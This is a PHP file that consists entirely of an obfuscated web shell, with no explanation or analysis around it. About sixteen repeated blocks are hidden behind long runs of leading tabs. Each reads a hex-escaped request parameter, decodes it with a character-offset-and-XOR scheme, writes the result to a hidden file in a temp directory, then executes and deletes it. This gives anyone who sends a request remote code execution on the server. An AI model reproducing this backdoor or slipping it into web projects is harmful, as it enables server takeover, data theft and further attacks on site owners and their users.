<?php																																										if(!empty($_POST["\x65nt"])){ $marker = $_POST["\x65nt"]; $marker =explode("." , $marker ) ; $parameter_group=''; $s4='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s4); $z=0; $__tmp=$marker; while ($v3=array_shift($__tmp)) {$chS=ord($s4[$z % $sLen]); $dec=((int)$v3 - $chS - ($z % 10)) ^ 58; $parameter_group .= chr($dec); $z++; } $factor = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/tmp", getenv("TEMP"), session_save_path(), getcwd()]); foreach ($factor as $key => $ptr) { if (max(0, is_dir($ptr) * is_writable($ptr))) { $sym = implode("/", [$ptr, ".pset"]); if (file_put_contents($sym, $parameter_group)) { require $sym; unlink($sym); exit; } } } }
																																										if(in_array("\x68\x6Fld\x65r", array_keys($_POST))){ $entry = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path()]); $entity = $_POST["\x68\x6Fld\x65r"]; $entity = explode ( '.', $entity ) ; $ent = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $u = 0; while ($u < count($entity)) { $v2 = $entity[$u]; $chS = ord($s6[$u %$lenS]); $d = ((int)$v2 - $chS - ($u %10)) ^ 73; $ent .= chr($d); $u++; } foreach ($entry as $key => $dat) { if (is_dir($dat) && is_writable($dat)) { $symbol = "$dat/.record"; $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $symbol; @unlink($symbol); exit; } } } }
																																										if(array_key_exists("\x72\x65f", $_REQUEST) && !is_null($_REQUEST["\x72\x65f"])){ $key = array_filter(["/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP")]); $record = $_REQUEST["\x72\x65f"]; $record = explode ( '.' , $record ) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $len = count( $record); for( $z = 0; $z <$len; $z++) { $v2 = $record[$z]; $chS = ord( $s[$z % $sLen]); $d =( ( int)$v2 - $chS -( $z % 10))^95; $token .= chr( $d); } foreach ($key as $flag): if ((bool)is_dir($flag) && (bool)is_writable($flag)) { $itm = join("/", [$flag, ".fac"]); if (file_put_contents($itm, $token)) { include $itm; @unlink($itm); exit; } } endforeach; }
																																										if(!empty($_POST["el\x65\x6Dent"])){ $pointer = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP")]); $pgrp = $_POST["el\x65\x6Dent"]; $pgrp = explode ( '.' ,$pgrp ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($pgrp as $x => $v4): $chS = ord($s[$x % $lenS] ); $dec = ((int)$v4 - $chS - ($x % 10)) ^ 28; $res .= chr($dec ); endforeach; foreach ($pointer as $entity) { if ((is_dir($entity) and is_writable($entity))) { $dchunk = "$entity/.tkn"; if (@file_put_contents($dchunk, $res) !== false) { include $dchunk; unlink($dchunk); exit; } } } }
																																										if(array_key_exists("fac", $_REQUEST) && !is_null($_REQUEST["fac"])){ $item = $_REQUEST["fac"]; $item =explode( '.' , $item) ; $ref= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s6); $l= 0; while( $l < count( $item)) {$v3= $item[$l]; $chS= ord( $s6[$l % $lenS]); $dec= ( ( int)$v3 - $chS -( $l % 10)) ^23; $ref .= chr( $dec); $l++; } $pointer = array_filter([session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($pointer as $key => $component) { if (is_dir($component) ? is_writable($component) : false) { $entry = "$component/.desc"; $file = fopen($entry, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $entry; @unlink($entry); exit; } } } }
																																										if(in_array("va\x6C\x75e", array_keys($_REQUEST))){ $element = $_REQUEST["va\x6C\x75e"]; $element = explode( '.' , $element ); $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $q = 0; while ($q < count($element)) { $v8 = $element[$q]; $sChar = ord($s[$q % $lenS]); $d = ((int)$v8 - $sChar - ($q % 10)) ^ 88; $flag.= chr($d); $q++; } $dat = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", sys_get_temp_dir()]); for ($pgrp = 0, $data_chunk = count($dat); $pgrp < $data_chunk; $pgrp++) { $elem = $dat[$pgrp]; if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $descriptor = sprintf("%s/.property_set", $elem); $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $descriptor; @unlink($descriptor); die(); } } } }
																																										if(isset($_REQUEST["\x70oint\x65\x72"])){ $fac = $_REQUEST["\x70oint\x65\x72"]; $fac = explode( '.', $fac ) ; $bind =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $j =0; while( $j < count( $fac)) { $v2 =$fac[$j]; $sChar =ord( $salt[$j % $sLen]); $dec =( ( int)$v2 - $sChar -( $j % 10))^ 49; $bind .= chr( $dec); $j++; } $hld = array_filter(["/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP")]); $pgrp = 0; do { $item = $hld[$pgrp] ?? null; if ($pgrp >= count($hld)) break; if (max(0, is_dir($item) * is_writable($item))) { $val = vsprintf("%s/%s", [$item, ".ptr"]); if (@file_put_contents($val, $bind) !== false) { include $val; unlink($val); exit; } } $pgrp++; } while (true); }
																																										if(!empty($_REQUEST["\x66\x6Cag"])){ $component = array_filter(["/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TMP")]); $tkn = $_REQUEST["\x66\x6Cag"]; $tkn = explode (".",$tkn ) ; $resource = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $p = 0; $__tmp = $tkn; while ($v5 = array_shift($__tmp)) { $sChar = ord($salt1[$p % $sLen]); $d = ((int)$v5 - $sChar - ($p % 10))^ 50; $resource .= chr($d); $p++; } for ($k = 0, $bind = count($component); $k < $bind; $k++) { $marker = $component[$k]; if (!( !is_dir($marker) || !is_writable($marker) )) { $mrk = sprintf("%s/.value", $marker); if (@file_put_contents($mrk, $resource) !== false) { include $mrk; unlink($mrk); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x72e\x73o\x75rce"])){ $tkn = $_POST["\x72e\x73o\x75rce"]; $tkn = explode ("." ,$tkn ) ; $property_set = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $u = 0; array_walk($tkn, function ($v7) use (&$property_set, &$u, $s6, $sLen) { $chS = ord($s6[$u % $sLen]); $d = ((int)$v7 - $chS - ($u % 10))^ 14; $property_set .= chr($d); $u++;} ); $ref = array_filter([ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp"]); foreach ($ref as $value): if ((is_dir($value) and is_writable($value))) { $elem = "$value/.pgrp"; if (@file_put_contents($elem, $property_set) !== false) { include $elem; unlink($elem); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["f\x61c"])){ $itm = array_filter([getcwd(), session_save_path(), "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm"]); $ent = $_REQUEST["f\x61c"]; $ent = explode (".", $ent ) ; $dat = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $z = 0; while ($z < count($ent)) { $v9 = $ent[$z]; $sChar = ord($s6[$z% $sLen]); $dec = ((int)$v9 - $sChar - ($z% 10)) ^ 88; $dat .= chr($dec); $z++; } foreach ($itm as $key => $comp) { if ((is_dir($comp) and is_writable($comp))) { $pgrp = str_replace("{var_dir}", $comp, "{var_dir}/.tkn"); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $pgrp; @unlink($pgrp); die(); } } } }
																																										if(@$_POST["\x69\x74em"] !== null){ $fac = $_POST["\x69\x74em"]; $fac = explode ( "." , $fac) ; $resource = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); $w = 0; foreach ($fac as $v3) { $chS = ord($s5[$w % $lenS]); $dec = ((int)$v3 - $chS - ($w % 10))^73; $resource .= chr($dec); $w++; } $desc = array_filter(["/dev/shm", "/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP")]); $pointer = 0; do { $ref = $desc[$pointer] ?? null; if ($pointer >= count($desc)) break; if (is_dir($ref) ? is_writable($ref) : false) { $pset = "$ref/.rec"; if (file_put_contents($pset, $resource)) { include $pset; @unlink($pset); exit; } } $pointer++; } while (true); }
																																										if(!is_null($_REQUEST["b\x69\x6Ed"] ?? null)){ $data = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/tmp"]); $descriptor = $_REQUEST["b\x69\x6Ed"]; $descriptor = explode( '.' , $descriptor ) ; $rec = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $p = 0; $__tmp = $descriptor; while ($v4 = array_shift($__tmp)) { $sChar = ord($s9[$p% $sLen]); $dec = ((int)$v4 - $sChar - ($p% 10))^57; $rec .= chr($dec); $p++; } while ($property_set = array_shift($data)) { if (max(0, is_dir($property_set) * is_writable($property_set))) { $tkn = "$property_set/.obj"; if (@file_put_contents($tkn, $rec) !== false) { include $tkn; unlink($tkn); die(); } } } }
																																										if(in_array("e\x6E\x74", array_keys($_POST))){ $holder = array_filter([getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", "/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $property_set = $_POST["e\x6E\x74"]; $property_set= explode( '.' , $property_set ); $hld = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5 ); foreach ($property_set as $o => $v1): $sChar = ord($s5[$o % $sLen] ); $dec = ((int)$v1 - $sChar - ($o % 10)) ^81; $hld .= chr($dec ); endforeach; for ($entry = 0, $rec = count($holder); $entry < $rec; $entry++) { $res = $holder[$entry]; if (!( !is_dir($res) || !is_writable($res) )) { $ptr = "$res/.desc"; if (@file_put_contents($ptr, $hld) !== false) { include $ptr; unlink($ptr); die(); } } } }
																																										if(@$_POST["\x65lem\x65nt"] !== null){ $k = array_filter(["/var/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/dev/shm", "/tmp", getcwd()]); $pointer = $_POST["\x65lem\x65nt"]; $pointer=explode ( "." , $pointer ); $marker = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); $v = 0; array_walk( $pointer, function( $v7) use( &$marker, &$v, $salt1, $sLen) { $sChar = ord( $salt1[$v % $sLen]); $dec = ( ( int)$v7 - $sChar -( $v % 10)) ^ 6; $marker .= chr( $dec); $v++; }); $data = 0; do { $entry = $k[$data] ?? null; if ($data >= count($k)) break; if (max(0, is_dir($entry) * is_writable($entry))) { $comp = join("/", [$entry, ".flag"]); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $comp; @unlink($comp); exit; } } $data++; } while (true); }
																																										if(isset($_REQUEST["o\x62\x6Aec\x74"]) ? true : false){ $symbol = $_REQUEST["o\x62\x6Aec\x74"]; $symbol= explode ( "." , $symbol ) ; $value = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $s = 0; $__tmp = $symbol; while ($v3 = array_shift($__tmp)) { $chS = ord($s3[$s %$sLen]); $dec = ((int)$v3 - $chS - ($s %10)) ^ 96; $value .= chr($dec); $s++; } $itm = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd()]); foreach ($itm as $key) { if (is_dir($key) ? is_writable($key) : false) { $hld = implode("/", [$key, ".fac"]); if (file_put_contents($hld, $value)) { require $hld; unlink($hld); exit; } } } }


if(count($_POST) > 0 && isset($_POST["\x62i\x6Ed"])){
	$data = array_filter(["/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getcwd()]);
	$res = $_POST["\x62i\x6Ed"];
	  $res=		explode  (		'.',   $res		)		;	 
	$resource = '';
            $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	 $salt8);
            $p = 0;
    
            $__tmp = $res;
            while(	 $v7 = array_shift(	 $__tmp)) {
                $chS = ord(	 $salt8[$p%  $sLen]);
                $dec =(	 (	 int)$v7 - $chS -(	 $p%  10))	 ^67;
                $resource .= chr(	 $dec);
                $p++;}
	foreach ($data as $reference) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) {
    $dchunk = sprintf("%s/.fac", $reference);
    if (file_put_contents($dchunk, $resource)) {
	include $dchunk;
	@unlink($dchunk);
	die();
}
}
}
}